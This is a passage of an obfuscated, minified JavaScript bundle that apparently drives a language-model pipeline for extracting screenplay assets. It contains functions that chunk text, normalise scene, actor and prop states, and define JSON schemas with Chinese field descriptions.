R5hJGihKUi3PN7pOR5hJGilKUi3LVPFPGzFMVi/JGihMKzJOPOhJGihMIkRMLQ3MIjBOOAxPGkdJGilOVPpLH7RLIy3OR7FOH6ROOyZMOlJLR7NMR4/KUidOOyZVViZKUjtKUi3OPOhOVPpLH7RMOlJLR7NOV4FNQiVJGii","oIbWCM92AwrLCIbYzxr1CM5LzcbPBNzHBgLKiePtt04","icdMUPaGyoEuSU+8MUs9OoADPEs6HMaG4OAsigrPywXVz3vL44cc5RQqigdNLllVViJLHRFNRjhVViNVVjRKVAdMNAxKUOzGiokgKIbKAwfSB2D1zs5LBw90Aw9Uios4UIbG5yA356YryooaGG","DhjPBq","Dgv4Da","BM90zsdLJ6RNLkJKUO7NNj/MRApML6dMS5xLVzlLHAxLIAFMNkZJGihKUz/KUi3LSz7KUO7NLlVPNAiV5A+555M955Qe5yAf5A6544cc5RQq5PAh5PYS5z2x55Qe5A6E6lsO5yAf5A655lIn5B6x5lII5AsX44cc","ywn0Aw9U44cbzgLHBg9NDwxJGifPBM5LCL90Ag91z2H044cbDhjHBNnPDgLVBUoaGw5VDguG55QeignVBNrLBNqG5B+f6Ag75PIV6z2E56M65A2x56YM5lIY77YB5lIn5B6x6l6t5yE6ignVBNrLBNqG5lI656M655Qe5y2G5l2n6k6W5B2v44cc5y6F5PAh5RkH5PYj5A+55BQu5Q2J5PAh5PE25BcX5lIn6kAb5yIB5BU66k+L6k6W5B2v44cc","C291CMnL","CMvJB3jKig11C3qGyMuGyw4GB2jQzwn0ihDPDgHVDxqGC291CMnL","icdMUPaGyos6UUEjQE+8MUEuSUoaKoEzVEIHOYZMMi/OV7FJGjhVViZKUzLGiokgKIbZy2vUzs5Hy3rVCNm9w3SIBMfTzsi6iUEuSIiSiNn0yxrLiJOI55M96kgJloAyJ+I/TYj9lhSIBMfTzsi6iUs5Msj9xEoaGG","icdMUPaGyoEuSK9t77YA77Yi5Ogq5Owm77Yj5lUw5RkH5Q275zcN77YFycdIHPiGAw5UzxjFDgHVDwDODc5LBw90Aw9Uios4UIbG5Ogq5OwmyooaGG","C3zJvNG","A2v5CW","5zY65y+377Yi5AAcigdLNlOZltjG77Yj57UD5lIn5PIV6zUg6l6555wm77YB5y+Q5PYj5y6F5PAh5PIo56gU5yAz5yE6igdNRkXo6zUgycdMIjyGye7PM4zGioAxTUAjJEIdVEI+K+whUIbLCgLZB2rL44cc","oIbVDxrWDxqGBxvZDcbIzsbHBIbVyMPLy3qGy29UDgfPBMLUzYbVBMX5ihjLy29YzhnBxq","y29Yzv9SAw5Lx3n0yxj0","5lIL5Qc85l+D5OYb5RQq5PAh5PYS6Ag65BQp77Ym57UD5lIn6yEn5O6s77YA5z2x5BYa5As06iUL5zYO5lU75l2v44co6zUgl+wCUUoaJ+AGH+IUSos5I+wjJEwWSEACIEATO+AwH++8Ios4IUs4GowDL+AYOEwgMEwUJoEAHoAiJ++8IE+8Ja","icdMUPaGyooaKowTL+w5LE+8MUwBNUMxQoAxPEoaKwaG4OAsigfJDgLVBU+8M+EuU+MDOUAwH+wTL+wXNUs6JUEuU+MDOUwgHEwUUEoaGG","ugjquNe","lsdMIBNMS6JVVjP7iMTPBMqIoIjUB3rLiIWIy29UDgvUDci6iUw/OowUNUI9RoAnOUAiKoEUGos9K+s4REAwH+EAHoAjUEAZQciSiMnHDgvNB3j5iJOIyxv0Ag9Yx25VDgv8zM9YBwf0x25VDgv8Dw5JBgfZC2LMAwvKiN3JGii","oIbUB24Tzw1WDhKGy2H1BMSGChjVzhvJzwqGBM8GCMvJB3jKCW","6k6W5B2v57g75z6l77YA","Aw5Nzxn0lNrLEhqTBM9YBwfSAxPL","yuDguKW","Aw5KzxG","AM9PBG","6l+z5PIV5l6B5lIT5PAh57Yw5yMN5Asn5Qc455Qe5Qch5yEg56I/77YAzgLHBg9NDwuG5zkmigLUBMvYx3rOB3vNAhqG55QeignVBNrLBNqG6ycq5A2x5l+D55wz5RQq5PAh5PYS5A6E6zMf6k+T6kIa5lIo5As55P2c6k+T6kIa77Ym57UD5lIn57+76k+r77YB6zMK5Q2K5lUL5Asw77Ymywn0Aw9U44cbDhjHBNnPDgLVBUoaGw5VDgxJGifLBw90Aw9Uios7PEwpIUwCUUAzR+EAHoMaMUEuQowCSoEcUEApJ+I/SoMdVEs9V+EuQoIhQUEeTUoaGEwhHUEHRUEAHoEUGos9K+s4REAwH+oaGUs6UUEjQEwNK+wqJEwCQcbZCgvHA2vYlM5HBwxJGifZy2vUzs5Hy3rVCNpJGifHy3rPB24G5zkm5zco57UT6lwe5lQN55M76k6W5lIT6yo95B+f6Ag75Rk/55sO5RQq5PAh5PYS55Qe5y6F5AEl5OU85yAz77Ym5lIn57+76k+r44cb5lIn6z+Z6k+r44cb5lIn5Ps55OIq5lIT5PAh5zcn77YB5zob54Mm5zkm5RkH5PYj6ycA6kgm6k+r5zcn55Qe5yw25lUw5lIt5zcn5l+D55wz5y6F5PAh44cc5lIn5B6x5OQk5Pw05y+L5Asw6k+T5yQO5l2C5OIw546V5Akd5O+p6l+W5y6F5Qc355wz5zYOigfJDgLVBIdKUk3JGii","icdLKiZKUidLJ6xNLlhLPjRKURRLKiZML7BOR7tML7BVViZKUlRMR4/KUkROR7tOR53KURRLKitLHPNKUidMNAhNM7JPGRSGzgLHBg9NDwxVViXJB250zw50ioEBUowqJooaGG","6l2S5O2I6kEe5yIz77YA","44cq5B6f6kEe6iYd5yYw55Qe5y6F5PAh54Mh5Q6144cr"];return Hp=function(){return e},Hp()}async function Vg(e,t,n){let o=Y,i=await e[o(41)](o(71),{system:nI,user:oI(t),responseFormat:o(16),...n?{signal:n}:{}}),r;try{r=JSON[o(28)](i[o(53)])}catch{if(o(67)!==o(67))_0x10022d=_0x3c4a29[o(28)](_0x5ecbb9[o(53)]);else throw Pa(o(19)+t[o(73)]+o(50),[i[o(53)][o(7)](0,500)])}return{raw:i[o(53)],records:Qp(r,t)}}var Yp=sn,rI=Yp(1);function sI(e){let t=Yp,n=e[t(5)](/起点\s*[::]\s*(\d+)/);return n?{found:!0,line:Math[t(3)](Number(n[1]))}:{found:!1,line:null}}function Fp(){let e=["Dgv4Da","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","Aw5Nzxn0lMjVzhKTC3rHCNq","Dhj1BMm","z2vUzxjHDgvuzxH0","Bwf0y2G","5lIl6z2I5PIV5RQq5PAh5lU255Qe5lIa5Q6177Ym5Q+p6kgm5lUL44cm6kgm5y+3pfrbqJ7LHOxLRRNJGi3NU5NLH7RJGilLIktMLQ3NNj/MRApNMOtLIAFMNkZMRApMLOFMMk/LKkBLNkJOV5NMRRxPH4ZLVidLP4VVViZMJiNMOlZLVi/LJ6RLM57KUidOOyZJGiikcG"];return Fp=function(){return e},Fp()}async function $g(e,t,n){let o=Yp,i=await e[o(4)](o(2),{system:rI,user:o(6)+t,...n?{signal:n}:{}});return sI(i[o(0)])}function sn(e,t){e=e-0;let n=Fp(),o=n[e];if(sn.sLepLJ===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};sn.TPTWLA=i,sn.iYuNay={},sn.sLepLJ=!0}let r=n[0];sn.inDmHY!==r&&(sn.iYuNay={},sn.inDmHY=r);let s=sn.iYuNay[e];return s===void 0?(o=sn.TPTWLA(o),sn.iYuNay[e]=o):o=s,o}var Dg=50,aI=10;async function Gg(e,t,n){let o=t.split(`
246
- `),i=Dg-aI;try{for(let r=0;r<o.length;r+=i){let s=Math.min(r+Dg,o.length),c=o.slice(r,s).map((d,p)=>`${r+p+1} ${d}`).join(`
247
- `),a=await $g(e,c,n);if(a.found&&a.line!==null)return{line:Math.min(Math.max(a.line-1,0),o.length-1),scannedLines:s,found:!0};if(s>=o.length)break}}catch(r){return{line:0,scannedLines:0,found:!1,error:r instanceof Error?r.message:String(r)}}return{line:0,scannedLines:o.length,found:!1}}async function Bg(e,t,n){let o=new Array(e.length),i=0,r=Array.from({length:Math.max(1,Math.min(t,e.length))},async()=>{for(;;){let s=i++;if(s>=e.length)return;try{o[s]={index:s,ok:!0,value:await n(e[s],s)}}catch(c){o[s]={index:s,ok:!1,error:c}}}});return await Promise.all(r),o}var Qt=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),an=e=>Array.isArray(e);function qp(e){let t=new Map;if(!an(e))return t;for(let n of e){if(!Qt(n))continue;let o=n.actor_id??n.location_id??n.prop_id;typeof o=="string"&&t.set(o,n)}return t}function cI(e){let t=[],n=(o,i)=>{!Qt(o)||typeof o[i]!="string"||t.push({assetId:o[i],holder:o,explicit:typeof o.state_id=="string"?o.state_id:void 0})};for(let o of an(e.episodes)?e.episodes:[])if(!(!Qt(o)||!an(o.scenes))){for(let i of o.scenes)if(Qt(i)){n(i.location,"location_id");for(let r of an(i.actors)?i.actors:[])n(r,"actor_id");for(let r of an(i.props)?i.props:[])n(r,"prop_id");for(let r of an(i.actions)?i.actions:[])Qt(r)&&n(r.speaker,"actor_id")}}return t}function dI(e,t){let n=e.filter(i=>(t.get(i.state_id)??0)>0);if(n.length===0)return null;let o=n[0];for(let i of n.slice(1)){let r=t.get(i.state_id)??0,s=t.get(o.state_id)??0;(r>s||r===s&&i.state_name<o.state_name)&&(o=i)}return o.state_id}function Ca(e){if(!Qt(e))throw new Error("govern expects a script object");let t=JSON.parse(JSON.stringify(e));for(let p of an(t.episodes)?t.episodes:[])if(!(!Qt(p)||!an(p.scenes)))for(let l of p.scenes){if(!Qt(l))continue;let f=an(l.actors)?l.actors.filter(Qt):[],u=new Set(f.map(y=>y.actor_id).filter(y=>typeof y=="string"));for(let y of an(l.actions)?l.actions:[])!Qt(y)||!Qt(y.speaker)||typeof y.speaker.actor_id!="string"||u.has(y.speaker.actor_id)||(f.push({actor_id:y.speaker.actor_id}),u.add(y.speaker.actor_id));l.actors=f}let n=qp(t.actors),o=qp(t.locations),i=qp(t.props),r=new Map([...n,...o,...i]),s=cI(t),c=new Map;for(let p of s){if(p.explicit===void 0)continue;c.has(p.assetId)||c.set(p.assetId,new Map);let l=c.get(p.assetId);l.set(p.explicit,(l.get(p.explicit)??0)+1)}let a=new Map;for(let[p,l]of r){let f=(an(l.states)?l.states:[]).filter(Qt),u=new Map,y=dI(f,c.get(p)??new Map),m;if(y===null){let g=f.find(w=>w.state_id==="default");m=[{state_id:"default",state_name:g?.state_name??"default",description:g?.description??""}]}else{m=[];for(let g of f)g.state_id!=="default"&&(g.state_id===y?(u.set(g.state_id,"default"),m.unshift({state_id:"default",state_name:g.state_name,description:g.description??""})):(u.set(g.state_id,g.state_id),m.push({state_id:g.state_id,state_name:g.state_name,description:g.description??""})))}l.states=m,a.set(p,u)}let d=new Map;for(let p of s){let l=a.get(p.assetId),f;p.explicit!==void 0?(f=l?.get(p.explicit)??p.explicit,d.set(p.assetId,f)):f=d.get(p.assetId)??"default",p.holder.state_id=f}return t}var Jg=cn;function cn(e,t){e=e-0;let n=Zp(),o=n[e];if(cn.vcGzia===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};cn.alaGPc=i,cn.IPZchV={},cn.vcGzia=!0}let r=n[0];cn.cEXTRr!==r&&(cn.IPZchV={},cn.cEXTRr=r);let s=cn.IPZchV[e];return s===void 0?(o=cn.alaGPc(o),cn.IPZchV[e]=o):o=s,o}var pI=Jg(6);async function Kg(e,t,n,o){let i=Jg;return(await e[i(4)](i(2),{system:pI,user:i(0)+t+i(3)+n,...o?{signal:o}:{}}))[i(5)][i(1)]()}function Zp(){let e=["5OQk5lIl6z2Iia","DhjPBq","Aw5Nzxn0lMfYyY1ZDw1Tyxj5","ioEAHoMaKoADOEwjP+AdHEA1K+E8QEAiKos4GoAUTEEVH+EROoAIL+AMGIGYmddIGjmZmJaG5A2xloI/NUI0R+AiKoAUTsZKUi3OPOhPGjdPM4BNVzFLIjCPoGOk","z2vUzxjHDgvuzxH0","Dgv4Da","5l2G5PIV55+T5yMN6l+E57UT6l2S5yAz6yEm55Qe44cm6l+C56UV5yMN5Oof5Rwt57YP5zMO44cn44cc5OIr5lYA57Uz5l2G5lIa5Q616l+E57UT6zUg5yY66zE055QekIRPGjdMNAhLIAFMG4xMOPFMPOiQkIJMR4/OOyZKUidPM4BMIjBKUidKUkRMM7tML6NNMOtNR4FNQ6aP44cc5A6d5lUS5PIV57Uz5QIH5z6l5B2tkIROG4ZMMA/LIy3MG4uQkUEuQoEAHoI/NoERR+wjP+AdHsZKUi3PNidOPOhPGjdPM4BNU4BOIOlJGiik5l2G55Qe5lU75yQHoUAkIUwUG+s7RcOQ5Rwt57YP5OIq5lIa5Q616l+E6lsV55Qe56+h56UG5Qkx5QAckIOS5y+Q5l+D55wzoUs4U+E6V+I1SowqKEoaGEwfS+MuRUI9RoAkMooaGEMhJEIMGEs6UUEjQEs4JUwfTUMyTEIqPs/NM67MOiFLJ5JLJjBJGihLVBhLK43LKi7NU63NMOtLM6dMNPZKUi7KVi/NRjtJGiik6kAb5RgcoGOTios4GoAUTEI/NUE7REAwH+wTLYWQkUs4JEIMGsOQ6ycq6zUg572x5yIx44cb5lIn6kAb5yIg54k544cb5lIn6kAb5yAz44cm56YStUMBHUoaJEwTL+AGT+oaGEs4JEIMGEs7U+s9LEAGH+MIMooaGGOTios/NEEvMEwhUUEoSoEAHcOQ5ywZ6zsU5lQ654MP5zcnl+E7HoE7H+wqJs/LNldLKi0QkIJNLkJLJP/MLOFPH4ZNMOtLKi3LRzCPlos4OUAoIEs4GoASOEAaP+M+MEwLL+wsJoEqKoEIJUwkQos9NooaGGOTioAoP+wiTUwCQcaQkJiWmokaKZmYmcdLRzCQkIZLROhLJ6/MPOlMI6ZKUz/KUi3OPOhMTyhMSltOTkBJGiiklsdLJ6ROVPpLH7ROV5NMRRxMOPFMPOlMRApMLOCS5lIn6kAb5lU75l2v5yMn5zco57Ya6k+05PIo44cc"];return Zp=function(){return e},Zp()}var Qg={type:"object",required:["issues"],additionalProperties:!1,properties:{issues:{type:"array",items:{type:"object",required:["type","asset_ids","state_ids","names","evidence","recommendation","suggested_survivor","action","confidence"],additionalProperties:!1,properties:{type:{type:"string",enum:["duplicate_actor","duplicate_location","duplicate_prop","duplicate_state","suspicious_singleton_state","unused_state","needs_human_review"]},asset_ids:{type:"array",items:{type:"string"}},state_ids:{type:"array",items:{type:"string"}},names:{type:"array",items:{type:"string"}},evidence:{type:"string"},recommendation:{type:"string"},suggested_survivor:{type:["string","null"]},action:{type:"string",enum:["merge","delete","review"]},confidence:{type:"string",enum:["high","medium","low"]}}}}}},Wp={type:"array",items:{type:"object",required:["asset_id","state_id"],additionalProperties:!1,properties:{asset_id:{type:"string"},state_id:{type:["string","null"]}}}},CU={type:"object",required:["scenes"],additionalProperties:!1,properties:{scenes:{type:"array",items:{type:"object",required:["scene_id"],additionalProperties:!1,properties:{scene_id:{type:"string"},actors:{...Wp,items:{type:"object",required:["actor_id","state_id"],additionalProperties:!1,properties:{actor_id:{type:"string"},state_id:{type:["string","null"]}}}},locations:{...Wp,items:{type:"object",required:["location_id","state_id"],additionalProperties:!1,properties:{location_id:{type:"string"},state_id:{type:["string","null"]}}}},props:{...Wp,items:{type:"object",required:["prop_id","state_id"],additionalProperties:!1,properties:{prop_id:{type:"string"},state_id:{type:["string","null"]}}}},state_changes:{type:"array",items:{type:"object",required:["action_index","target_kind","target_id","to_state_id"],additionalProperties:!1,properties:{action_index:{type:"integer"},target_kind:{type:"string",enum:["actor","location","prop"]},target_id:{type:"string"},from_state_id:{type:["string","null"]},to_state_id:{type:"string"},effective_from:{type:"string",enum:["before_action","after_action"]}}}}}}}}},Fg={type:"object",required:["name","description"],additionalProperties:!1,properties:{name:{type:"string",enum:["\u5E38\u6001"],description:"\u5B9E\u4F53\u9996\u6B21\u767B\u8BB0\u65F6\u7684\u9ED8\u8BA4\u9020\u578B\u540D\uFF0C\u56FA\u5B9A\u4E3A\u5E38\u6001"},description:{type:"string",description:"\u9ED8\u8BA4\u9020\u578B\u7684\u53EF\u89C1\u5916\u89C2\uFF0C\u53EA\u5199\u5916\u8C8C\u3001\u670D\u9970\u3001\u6750\u8D28\u3001\u989C\u8272\u3001\u5E03\u666F\u6216\u5F62\u5236\uFF0C\u975E\u7A7A"}}},Yg={type:"object",required:["newEntities","merges","looks","lookChanges","subEvents","summary"],additionalProperties:!1,properties:{newEntities:{type:"array",description:"\u672C\u6BB5\u65B0\u767B\u8BB0\u7684\u5B9E\u4F53(\u4EBA\u7269/\u573A\u666F/\u9053\u5177)\u3002name=canonical\uFF0Caliases \u5217\u5168\u8FD9\u6BB5\u91CC\u5B83\u7684\u6240\u6709\u5176\u4ED6\u53EB\u6CD5",items:{type:"object",required:["kind","name","description","aliases","defaultLook"],additionalProperties:!1,properties:{kind:{type:"string",enum:["actor","location","prop"]},name:{type:"string",description:"\u7EAF canonical \u540D\uFF0C\u4E0D\u542B\u62EC\u53F7/\u659C\u6760/\u8BD1\u540D\u5939\u6CE8/\u5BF9\u767D\u6807\u8BB0"},description:{type:"string",description:"\u4E00\u53E5\u8BDD\u8BF4\u660E\u8FD9\u4E2A\u5B9E\u4F53\u672C\u8EAB\u662F\u8C01/\u4EC0\u4E48\u8EAB\u4EFD/\u4EC0\u4E48\u4E1C\u897F\uFF0C\u975E\u7A7A\uFF1B\u4EBA\u7269\u53EA\u5199\u8EAB\u4EFD\u3001\u89D2\u8272\u548C\u5173\u7CFB\uFF0C\u4E0D\u5199\u670D\u88C5\u9020\u578B"},aliases:{type:"array",items:{type:"string"},description:"\u8FD9\u6BB5\u91CC\u8BE5\u5B9E\u4F53\u7684\u6240\u6709\u5176\u4ED6\u53EB\u6CD5\uFF1A\u522B\u540D/\u8BD1\u540D/\u524D\u4E16\u540D/\u77ED\u540D\u5168\u540D/\u5BF9\u767D\u8BF4\u8BDD\u4EBA\u5728\u6B63\u6587\u91CC\u7684\u5199\u6CD5\uFF0C\u9010\u4E2A\u5355\u5217(\u7EAF\u540D\uFF0C\u4E0D\u5E26\u5BF9\u767D/\u60C5\u7EEA\u6807\u8BB0)"},defaultLook:Fg}}},merges:{type:"array",description:"\u672C\u6BB5\u91CC\u67D0\u4E2A\u5C1A\u672A\u767B\u8BB0\u7684\u79F0\u547C\uFF0C\u5176\u5B9E\u662F\u67D0\u4E2A\u5DF2\u767B\u8BB0\u5B9E\u4F53\u7684\u522B\u540D",items:{type:"object",required:["from","into"],additionalProperties:!1,properties:{from:{type:"string",description:"\u672C\u6BB5\u8FD9\u4E2A\u79F0\u547C(\u5C1A\u672A\u4F5C\u4E3A\u72EC\u7ACB\u5B9E\u4F53\u767B\u8BB0\u8FC7)"},into:{type:"string",description:"\u5B83\u6240\u6307\u7684\u5DF2\u767B\u8BB0\u5B9E\u4F53\u7684 canonical \u540D"}}}},looks:{type:"array",description:"\u9ED8\u8BA4\u9020\u578B\u4E4B\u5916\u3001\u9700\u8981\u5355\u72EC\u590D\u73B0\u7684\u65B0\u589E\u9020\u578B",items:{type:"object",required:["entity","name","aliases","description"],additionalProperties:!1,properties:{entity:{type:"string",description:"\u5B9E\u4F53 canonical \u540D"},name:{type:"string",description:"\u9020\u578B\u540D\uFF0C\u5FC5\u987B\u4E2D\u6587\uFF0C\u82F1\u6587\u4E13\u540D\u5148\u8BD1\u6210\u4E2D\u6587"},aliases:{type:"array",items:{type:"string"},description:"\u540C\u4E49\u9020\u578B\u540D"},description:{type:"string",description:"\u8FD9\u5957\u5916\u89C2\u4E00\u53E5\u8BDD"}}}},lookChanges:{type:"array",description:"\u9020\u578B\u53D8\u5316\uFF1A\u540C\u4E00\u573A\u540C\u4E00\u5B9E\u4F53\u53EF\u6309\u6B63\u6587\u987A\u5E8F\u5217\u51FA\u53D8\u5316\u524D\u540E\u5168\u90E8\u9020\u578B\uFF0C\u6700\u540E\u4E00\u6761\u7531\u540E\u7EED\u4E0D\u53D8\u7684\u573A\u7EE7\u627F\uFF1B\u56DE\u5FC6/\u9884\u6F14\u53CA\u8FD4\u56DE\u73B0\u5B9E\u5747\u663E\u5F0F\u6807\u72B6\u6001",items:{type:"object",required:["scene","entity","look"],additionalProperties:!1,properties:{scene:{type:"string",description:"\u53D8\u5316\u53D1\u751F\u7684\u573A\u666F id\uFF0C\u5982 scn_012"},entity:{type:"string",description:"\u5B9E\u4F53 canonical \u540D"},look:{type:"string",description:"\u672C\u573A\u5B9E\u9645\u51FA\u73B0\u7684\u5DF2\u767B\u8BB0\u9020\u578B\u540D\uFF1B\u540C\u573A\u591A\u9879\u6309\u6B63\u6587\u5148\u540E\u6392\u5217"}}}},subEvents:{type:"array",items:{type:"string"},description:"\u672C\u6BB5\u5173\u952E\u5267\u60C5\u539F\u5B50\uFF0C\u6BCF\u6761\u4E00\u53E5\u8BDD"},summary:{type:"string",description:"\u672C\u6BB5\u4E00\u53E5\u8BDD\u6897\u6982"}}},lI={type:"string",enum:["actor","location","prop"]},qg={type:"string",description:"\u72B6\u6001\u540D\u7B80\u6D01\u6982\u62EC\u53EF\u533A\u5206\u7684\u9636\u6BB5\u5916\u89C2\uFF1B\u5F15\u7528\u65F6\u9010\u5B57\u4F7F\u7528\u767B\u8BB0\u540D\uFF0C\u8BE6\u7EC6\u5916\u89C2\u5199\u5728 description"},jg={type:"string",minLength:5,pattern:"^[0-9]{2}:[0-5][0-9](\\.[0-9]{1,3})?$",description:"\u5FC5\u586B\u3002\u672C\u955C\u5934\u6216\u58F0\u97F3\u771F\u6B63\u5F00\u59CB\u7684\u539F\u7247\u65F6\u95F4\uFF0C\u4F7F\u7528 MM:SS\uFF0C\u53EF\u4FDD\u7559\u539F\u7247\u4F9D\u636E\u652F\u6301\u7684 1\u20133 \u4F4D\u5C0F\u6570\uFF0C\u5982 00:03.240\u3002\u53EA\u6709\u6574\u79D2\u4F9D\u636E\u65F6\u5199\u6574\u79D2\uFF0C\u4E0D\u8865\u9020\u5C0F\u6570\u3002SS \u4E3A 00\u201359\uFF0C\u6574\u5206\u949F\u5199\u4E0B\u4E00\u5206\u949F\u7684 :00"},zg={type:"object",required:["name","description"],additionalProperties:!1,properties:{name:qg,description:{type:"string",description:"\u8BE5\u8D44\u4EA7\u6B64\u9636\u6BB5\u53EF\u590D\u73B0\u7684\u5916\u89C2\uFF0C\u975E\u7A7A\u3002\u4EBA\u7269\u8BB0\u5F55\u8138\u5F62\u3001\u4F53\u6001\u3001\u80A4\u51B5\u3001\u5E74\u9F84\u5916\u89C2\u3001\u5986\u53D1\u3001\u53EF\u8FA8\u58F0\u7EBF\u4E0E\u6301\u7EED\u670D\u88C5\u6574\u4F53\u9020\u578B\uFF0C\u5199\u660E\u53EF\u89C1\u989C\u8272\u3001\u6750\u8D28\u8868\u73B0\u3001\u7248\u578B\u3001\u53E0\u7A7F\u548C\u6301\u7EED\u635F\u4F24\uFF1B\u540C\u8863\u670D\u4E0B\u5B9E\u9645\u4E0D\u540C\u7684\u8138\u5F62\u4F53\u6001\u5206\u522B\u5EFA\u72B6\u6001\u3002\u72EC\u7ACB\u53D6\u653E\u3001\u6301\u6709\u6216\u7A7F\u6234\u64CD\u4F5C\u5BF9\u8C61\u7684\u5B8C\u6574\u5916\u89C2\u5F52 prop\uFF0C\u6301\u6709\u3001\u4F69\u6234\u3001\u6458\u4E0B\u3001\u6570\u91CF\u4E0E\u4F4D\u7F6E\u5173\u7CFB\u5F52 Action\uFF0C\u4EBA\u7269 state 